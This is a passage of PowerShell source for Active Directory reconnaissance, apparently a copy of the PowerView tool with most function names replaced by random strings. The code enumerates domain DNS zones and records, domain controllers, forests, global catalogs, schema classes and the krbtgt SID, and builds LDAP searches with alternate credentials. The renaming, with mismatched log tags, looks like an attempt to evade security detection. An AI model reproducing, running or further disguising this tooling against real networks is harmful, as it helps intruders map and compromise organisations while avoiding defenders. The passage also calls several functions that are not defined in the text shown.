$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) | |
} | |
else { | |
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) | |
} | |
} | |
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { | |
$Prop = $Properties[$_] | |
try { | |
$Temp = $Prop[$_][0] | |
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) | |
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) | |
} | |
catch { | |
Write-Verbose "[Convert-LDAPProperty] error: $_" | |
$ObjectProperties[$_] = $Prop[$_] | |
} | |
} | |
elseif ($Properties[$_].count -eq 1) { | |
$ObjectProperties[$_] = $Properties[$_][0] | |
} | |
else { | |
$ObjectProperties[$_] = $Properties[$_] | |
} | |
} | |
} | |
try { | |
New-Object -TypeName PSObject -Property $ObjectProperties | |
} | |
catch { | |
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" | |
} | |
} | |
function 4I4THHU7 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.DirectorySearcher')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$SearchBasePrefix, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit = 120, | |
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] | |
[String] | |
$SecurityMasks, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { | |
$UserDomain = $ENV:USERDNSDOMAIN | |
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) { | |
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain" | |
} | |
} | |
} | |
elseif ($PSBoundParameters['Credential']) { | |
$DomainObject = Get-Domain -Credential $Credential | |
$BindServer = ($DomainObject.PdcRoleOwner).Name | |
$TargetDomain = $DomainObject.Name | |
} | |
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) { | |
$TargetDomain = $ENV:USERDNSDOMAIN | |
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) { | |
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain" | |
} | |
} | |
else { | |
write-verbose "get-domain" | |
$DomainObject = Get-Domain | |
$BindServer = ($DomainObject.PdcRoleOwner).Name | |
$TargetDomain = $DomainObject.Name | |
} | |
if ($PSBoundParameters['Server']) { | |
$BindServer = $Server | |
} | |
$SearchString = 'LDAP://' | |
if ($BindServer -and ($BindServer.Trim() -ne '')) { | |
$SearchString += $BindServer | |
if ($TargetDomain) { | |
$SearchString += '/' | |
} | |
} | |
if ($PSBoundParameters['SearchBasePrefix']) { | |
$SearchString += $SearchBasePrefix + ',' | |
} | |
if ($PSBoundParameters['SearchBase']) { | |
if ($SearchBase -Match '^GC://') { | |
$DN = $SearchBase.ToUpper().Trim('/') | |
$SearchString = '' | |
} | |
else { | |
if ($SearchBase -match '^LDAP://') { | |
if ($SearchBase -match "LDAP://.+/.+") { | |
$SearchString = '' | |
$DN = $SearchBase | |
} | |
else { | |
$DN = $SearchBase.SubString(7) | |
} | |
} | |
else { | |
$DN = $SearchBase | |
} | |
} | |
} | |
else { | |
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { | |
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))" | |
} | |
} | |
$SearchString += $DN | |
Write-Verbose "[4I4THHU7] search base: $SearchString" | |
if ($Credential -ne [Management.Automation.PSCredential]::Empty) { | |
Write-Verbose "[4I4THHU7] Using alternate credentials for LDAP connection" | |
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) | |
} | |
else { | |
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) | |
} | |
$Searcher.PageSize = $ResultPageSize | |
$Searcher.SearchScope = $SearchScope | |
$Searcher.CacheResults = $False | |
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All | |
if ($PSBoundParameters['ServerTimeLimit']) { | |
$Searcher.ServerTimeLimit = $ServerTimeLimit | |
} | |
if ($PSBoundParameters['Tombstone']) { | |
$Searcher.Tombstone = $True | |
} | |
if ($PSBoundParameters['LDAPFilter']) { | |
$Searcher.filter = $LDAPFilter | |
} | |
if ($PSBoundParameters['SecurityMasks']) { | |
$Searcher.SecurityMasks = Switch ($SecurityMasks) { | |
'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } | |
'Group' { [System.DirectoryServices.SecurityMasks]::Group } | |
'None' { [System.DirectoryServices.SecurityMasks]::None } | |
'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } | |
'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } | |
} | |
} | |
if ($PSBoundParameters['Properties']) { | |
$PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } | |
$Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) | |
} | |
$Searcher | |
} | |
} | |
function Convert-DNSRecord { | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] | |
[Byte[]] | |
$DNSRecord | |
) | |
BEGIN { | |
function Get-Name { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')] | |
[CmdletBinding()] | |
Param( | |
[Byte[]] | |
$Raw | |
) | |
[Int]$Length = $Raw[0] | |
[Int]$Segments = $Raw[1] | |
[Int]$Index = 2 | |
[String]$Name = '' | |
while ($Segments-- -gt 0) | |
{ | |
[Int]$SegmentLength = $Raw[$Index++] | |
while ($SegmentLength-- -gt 0) { | |
$Name += [Char]$Raw[$Index++] | |
} | |
$Name += "." | |
} | |
$Name | |
} | |
} | |
PROCESS { | |
$RDataType = [BitConverter]::ToUInt16($DNSRecord, 2) | |
$UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8) | |
$TTLRaw = $DNSRecord[12..15] | |
$Null = [array]::Reverse($TTLRaw) | |
$TTL = [BitConverter]::ToUInt32($TTLRaw, 0) | |
$Age = [BitConverter]::ToUInt32($DNSRecord, 20) | |
if ($Age -ne 0) { | |
$TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString() | |
} | |
else { | |
$TimeStamp = '[static]' | |
} | |
$DNSRecordObject = New-Object PSObject | |
if ($RDataType -eq 1) { | |
$IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27] | |
$Data = $IP | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A' | |
} | |
elseif ($RDataType -eq 2) { | |
$NSName = Get-Name $DNSRecord[24..$DNSRecord.length] | |
$Data = $NSName | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS' | |
} | |
elseif ($RDataType -eq 5) { | |
$Alias = Get-Name $DNSRecord[24..$DNSRecord.length] | |
$Data = $Alias | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME' | |
} | |
elseif ($RDataType -eq 6) { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA' | |
} | |
elseif ($RDataType -eq 12) { | |
$Ptr = Get-Name $DNSRecord[24..$DNSRecord.length] | |
$Data = $Ptr | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR' | |
} | |
elseif ($RDataType -eq 13) { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO' | |
} | |
elseif ($RDataType -eq 15) { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX' | |
} | |
elseif ($RDataType -eq 16) { | |
[string]$TXT = '' | |
[int]$SegmentLength = $DNSRecord[24] | |
$Index = 25 | |
while ($SegmentLength-- -gt 0) { | |
$TXT += [char]$DNSRecord[$index++] | |
} | |
$Data = $TXT | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT' | |
} | |
elseif ($RDataType -eq 28) { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA' | |
} | |
elseif ($RDataType -eq 33) { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV' | |
} | |
else { | |
$Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length])) | |
$DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN' | |
} | |
$DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial | |
$DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL | |
$DNSRecordObject | Add-Member Noteproperty 'Age' $Age | |
$DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp | |
$DNSRecordObject | Add-Member Noteproperty 'Data' $Data | |
$DNSRecordObject | |
} | |
} | |
function BR6XSZYK { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.DNSZone')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$SearcherArguments = @{ | |
'LDAPFilter' = '(objectClass=dnsZone)' | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$DNSSearcher1 = 4I4THHU7 @SearcherArguments | |
if ($DNSSearcher1) { | |
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } | |
else { $Results = $DNSSearcher1.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Out = Convert-LDAPProperty -Properties $_.Properties | |
$Out | Add-Member NoteProperty 'ZoneName' $Out.name | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') | |
$Out | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[7K9PYEUT] Error disposing of the Results object: $_" | |
} | |
} | |
$DNSSearcher1.dispose() | |
} | |
$SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' | |
$DNSSearcher2 = 4I4THHU7 @SearcherArguments | |
if ($DNSSearcher2) { | |
try { | |
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } | |
else { $Results = $DNSSearcher2.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
$Out = Convert-LDAPProperty -Properties $_.Properties | |
$Out | Add-Member NoteProperty 'ZoneName' $Out.name | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') | |
$Out | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[BR6XSZYK] Error disposing of the Results object: $_" | |
} | |
} | |
} | |
catch { | |
Write-Verbose "[BR6XSZYK] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" | |
} | |
$DNSSearcher2.dispose() | |
} | |
} | |
} | |
function 0IZZ6UBG { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.DNSRecord')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$ZoneName, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Alias('ReturnOne')] | |
[Switch] | |
$FindOne, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$SearcherArguments = @{ | |
'LDAPFilter' = '(objectClass=dnsNode)' | |
'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" | |
} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
$DNSSearcher = 4I4THHU7 @SearcherArguments | |
if ($DNSSearcher) { | |
if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } | |
else { $Results = $DNSSearcher.FindAll() } | |
$Results | Where-Object {$_} | ForEach-Object { | |
try { | |
$Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged | |
$Out | Add-Member NoteProperty 'ZoneName' $ZoneName | |
if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { | |
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] | |
} | |
else { | |
$Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord | |
} | |
if ($Record) { | |
$Record.PSObject.Properties | ForEach-Object { | |
$Out | Add-Member NoteProperty $_.Name $_.Value | |
} | |
} | |
$Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') | |
$Out | |
} | |
catch { | |
Write-Warning "[0IZZ6UBG] Error: $_" | |
$Out | |
} | |
} | |
if ($Results) { | |
try { $Results.dispose() } | |
catch { | |
Write-Verbose "[0IZZ6UBG] Error disposing of the Results object: $_" | |
} | |
} | |
$DNSSearcher.dispose() | |
} | |
} | |
} | |
function Get-Domain { | |
[OutputType([System.DirectoryServices.ActiveDirectory.Domain])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' | |
if ($PSBoundParameters['Domain']) { | |
$TargetDomain = $Domain | |
} | |
else { | |
$TargetDomain = $Credential.GetNetworkCredential().Domain | |
Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" | |
} | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" | |
} | |
} | |
elseif ($PSBoundParameters['Domain']) { | |
$DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) | |
} | |
catch { | |
Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" | |
} | |
} | |
else { | |
try { | |
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | |
} | |
catch { | |
Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" | |
} | |
} | |
} | |
} | |
function V0UZY4PL { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.Computer')] | |
[OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[Switch] | |
$LDAP, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$Arguments = @{} | |
if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } | |
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } | |
if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { | |
if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } | |
$Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' | |
7M60VMOB @Arguments | |
} | |
else { | |
$FoundDomain = Get-Domain @Arguments | |
if ($FoundDomain) { | |
$FoundDomain.DomainControllers | |
} | |
} | |
} | |
} | |
function Get-Forest { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.Management.Automation.PSCustomObject')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Forest, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
if ($PSBoundParameters['Credential']) { | |
Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" | |
if ($PSBoundParameters['Forest']) { | |
$TargetForest = $Forest | |
} | |
else { | |
$TargetForest = $Credential.GetNetworkCredential().Domain | |
Write-Verbose "[Get-Forest] Extracted domain '$Forest' from -Credential" | |
} | |
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $TargetForest, $Credential.UserName, $Credential.GetNetworkCredential().Password) | |
try { | |
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) | |
} | |
catch { | |
Write-Verbose "[Get-Forest] The specified forest '$TargetForest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" | |
$Null | |
} | |
} | |
elseif ($PSBoundParameters['Forest']) { | |
$ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest) | |
try { | |
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) | |
} | |
catch { | |
Write-Verbose "[Get-Forest] The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust: $_" | |
return $Null | |
} | |
} | |
else { | |
$ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() | |
} | |
if ($ForestObject) { | |
if ($PSBoundParameters['Credential']) { | |
$ForestSid = (C52BTCXM -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name -Credential $Credential).objectsid | |
} | |
else { | |
$ForestSid = (C52BTCXM -Identity "krbtgt" -Domain $ForestObject.RootDomain.Name).objectsid | |
} | |
$Parts = $ForestSid -Split '-' | |
$ForestSid = $Parts[0..$($Parts.length-2)] -join '-' | |
$ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid | |
$ForestObject | |
} | |
} | |
} | |
function 8ZZD0O16 { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.ActiveDirectory.Domain')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Forest, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$Arguments = @{} | |
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } | |
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } | |
$ForestObject = Get-Forest @Arguments | |
if ($ForestObject) { | |
$ForestObject.Domains | |
} | |
} | |
} | |
function 6R549KED { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('System.DirectoryServices.ActiveDirectory.GlobalCatalog')] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Forest, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$Arguments = @{} | |
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } | |
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } | |
$ForestObject = Get-Forest @Arguments | |
if ($ForestObject) { | |
$ForestObject.FindAllGlobalCatalogs() | |
} | |
} | |
} | |
function JLQH4OAX { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] | |
[CmdletBinding()] | |
Param( | |
[Parameter(Position = 0, ValueFromPipeline = $True)] | |
[Alias('Class')] | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ClassName, | |
[Alias('Name')] | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Forest, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
PROCESS { | |
$Arguments = @{} | |
if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } | |
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } | |
$ForestObject = Get-Forest @Arguments | |
if ($ForestObject) { | |
if ($PSBoundParameters['ClassName']) { | |
ForEach ($TargetClass in $ClassName) { | |
$ForestObject.Schema.FindClass($TargetClass) | |
} | |
} | |
else { | |
$ForestObject.Schema.FindAllClasses() | |
} | |
} | |
} | |
} | |
function B065SR8C { | |
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] | |
[OutputType('PowerView.PropertyOutlier')] | |
[CmdletBinding(DefaultParameterSetName = 'ClassName')] | |
Param( | |
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] | |
[Alias('Class')] | |
[ValidateSet('User', 'Group', 'Computer')] | |
[String] | |
$ClassName, | |
[ValidateNotNullOrEmpty()] | |
[String[]] | |
$ReferencePropertySet, | |
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] | |
[PSCustomObject] | |
$ReferenceObject, | |
[ValidateNotNullOrEmpty()] | |
[String] | |
$Domain, | |
[ValidateNotNullOrEmpty()] | |
[Alias('Filter')] | |
[String] | |
$LDAPFilter, | |
[ValidateNotNullOrEmpty()] | |
[Alias('ADSPath')] | |
[String] | |
$SearchBase, | |
[ValidateNotNullOrEmpty()] | |
[Alias('DomainController')] | |
[String] | |
$Server, | |
[ValidateSet('Base', 'OneLevel', 'Subtree')] | |
[String] | |
$SearchScope = 'Subtree', | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ResultPageSize = 200, | |
[ValidateRange(1, 10000)] | |
[Int] | |
$ServerTimeLimit, | |
[Switch] | |
$Tombstone, | |
[Management.Automation.PSCredential] | |
[Management.Automation.CredentialAttribute()] | |
$Credential = [Management.Automation.PSCredential]::Empty | |
) | |
BEGIN { | |
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') | |
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') | |
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') | |
$SearcherArguments = @{} | |
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } | |
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } | |
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } | |
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } | |
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } | |
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } | |
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } | |
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } | |
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } | |
if ($PSBoundParameters['Domain']) { | |
if ($PSBoundParameters['Credential']) { | |
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name | |
} | |
else { | |
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name | |
} | |
Write-Verbose "[B065SR8C] Enumerated forest '$TargetForest' for target domain '$Domain'" | |
} | |
$SchemaArguments = @{} | |
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } | |
if ($TargetForest) { | |
$SchemaArguments['Forest'] = $TargetForest | |
} | |
} | |
PROCESS { | |
if ($PSBoundParameters['ReferencePropertySet']) { | |
Write-Verbose "[B065SR8C] Using specified -ReferencePropertySet" | |
$ReferenceObjectProperties = $ReferencePropertySet | |
} | |
elseif ($PSBoundParameters['ReferenceObject']) { | |
Write-Verbose "[B065SR8C] Extracting property names from -ReferenceObject to use as the reference property set" | |
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name | |
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 | |
Write-Verbose "[B065SR8C] Calculated ReferenceObjectClass : $ReferenceObjectClass" | |
